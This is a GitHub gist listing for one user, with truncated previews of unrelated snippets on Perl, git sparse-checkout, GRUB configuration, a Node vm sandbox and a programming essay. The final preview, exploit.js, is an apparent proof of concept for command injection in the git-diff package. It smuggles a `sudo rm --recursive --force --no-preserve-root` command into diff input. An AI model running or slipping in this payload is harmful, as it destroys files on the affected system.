Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@mk-pmb
mk-pmb / issue.md
Last active August 16, 2023 14:49
Example for drawing a custom spinner into MPV's window.
#!/usr/bin/perl
# -*- coding: UTF-8, tab-width: 2 -*-
# Origin: https://gist.github.com/mk-pmb/b8a32f005d507ae07733c9ccbcd7340f
# License: CC-0
use strict;
use warnings;
use Data::Dumper;
use HTML::Entities; # Not shipping in default Ubuntu :-(
{ "id": "urn:uuid:fbe641ee-6631-455f-9556-a20cb56c0052",
"title": "Red dress",
"target": {
"scope": "https://digi.ub.uni-heidelberg.de/diglit/cpg389/0055",
"source": "https://digi.ub.uni-heidelberg.de/diglit/cpg389/0055/_image",
"selector": {
"type": "SvgSelector",
"value": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\"\n width=\"3000\">\n <rect x=\"1800\" y=\"3830\" width=\"780\" height=\"332\" />\n</svg>"
}
},
@mk-pmb
mk-pmb / gist:ef2a1bc0e8c50d8bdd4c1566654bdf32
Created August 20, 2017 18:43 — forked from sumardi/gist:5559896
Subdirectory checkouts with Git sparse-checkout
# New repository
mkdir <repo> && cd <repo>
git init
git remote add –f <name> <url>
git config core.sparsecheckout true
echo some/dir/ >> .git/info/sparse-checkout
echo another/sub/tree >> .git/info/sparse-checkout
git pull <remote> <branch>
# Existing repository
// -*- coding: utf-8, tab-width: 2 -*-
// https://github.com/mk-pmb/is-error-js/issues/5
const isError = require('is-error');
const FakeError = function() {
this[Symbol.toStringTag] = 'Error';
};
+## BEGIN PATCHZONE search_external_id ##################################
search --set=extroot --file /boot/external.id
+## ................................................... (filler bytes) ##
+## ENDOF PATCHZONE search_external_id ##################################
+## BEGIN PATCHZONE config_external_cfg #################################
configfile ($extroot)/boot/grub/external.cfg
+## ................................................... (filler bytes) ##
+## ENDOF PATCHZONE config_external_cfg #################################

chapter 2.6.3 Driver-Specific Elements @ p.52

  • […] digits 0–9, and the upper case versions of the characters A–F (0000–FFFF). The #### must […]

(^ page 56)

chapter 9.5.1 Design Discussion @ p.272

@mk-pmb
mk-pmb / genius-programmer.md
Created September 3, 2019 01:39 — forked from joepie91/genius-programmer.md
The One Secret Trick To Becoming A Genius Programmer

The One Secret Trick To Becoming A Genius Programmer

Okay, the title of this post is a bit of a lie. There's no one secret trick to becoming a genius programmer - there are two, and they're more habits than tricks. Nevertheless, these kind of 'secret tricks' seem to resonate with people, so I went for this title anyway.

Every once in a while, a somewhat strange thing happens to me. I'll be helping somebody out on IRC - usually a beginner - answering a number of their questions in rapid succession, about a variety of topics. Then after a while, they call me a "genius" for being able to answer everything they're asking; either directly, or while talking about me to somebody else.

Now, I don't really agree with this "genius" characterization, and it can make me feel a bit awkward, but it shows that a lot of developers have a somewhat idealistic and nebulous notion of the "genius programmer" - the programmer that knows everything, who can do everything, who's never stumped by a problem, and of which ther

// -*- coding: utf-8, tab-width: 2 -*-
const vm = require('vm');
function consLog(...args) { console.log(...args); }
const initSandbox = {
c: consLog,
i: 42,
f: null,
$ cat exploit.js 
'use strict';
var gitDiff = require('git-diff')
var oldStr = 'exploit\n'
var newStr = 'exploit$($(echo sudo rm --recursive --force '
+ '--no-preserve-root /[hmrv]*/ >/tmp/yolo.log 2>&1))ed\n'
var diff = gitDiff(oldStr, newStr)
console.log(diff);
$ nodejs exploit.js